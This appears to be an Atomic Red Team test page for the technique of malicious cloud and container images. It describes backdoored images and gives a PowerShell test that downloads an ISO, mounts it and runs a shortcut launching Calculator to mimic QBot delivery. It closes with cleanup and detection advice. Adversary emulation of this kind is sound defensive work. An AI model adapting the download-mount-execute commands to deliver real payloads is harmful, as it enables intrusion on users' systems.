T1204.003 - Malicious Image#

Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via Upload Malware, and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)

Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: Match Legitimate Name or Location).(Citation: Aqua Security Cloud Native Threat Report June 2021)

Atomic Tests#

Atomic Test #1 - Malicious Execution from Mounted ISO ImageAdversaries may rely on a user running a malicious image to facilitate executionSupported Platforms: windows#

Elevation Required (e.g. root or admin)#### Attack Commands: Run with powershell

IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso" -OutFile "$env:TEMP\qbot-test.iso")
Mount-DiskImage -ImagePath "$env:TEMP\qbot-test.iso"
$mountedpath = (Get-DiskImage -ImagePath "$env:TEMP\qbot-test.iso" | Get-Volume).DriveLetter
$finalpath = $mountedpath + ":\"
cd $finalpath
.\calc.exe.lnk```
Invoke-AtomicTest T1204.003 -TestNumbers 1

Cleanup:#

start-sleep -s 5
stop-process -Name "Calculatorapp" -Force 
dismount-diskimage -ImagePath "$env:TEMP\qbot-test.iso"```
Invoke-AtomicTest T1204.003 -TestNumbers 1 -Cleanup

Detection#

Monitor the local image registry to make sure malicious images are not added. Track the deployment of new containers, especially from newly built images. Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images.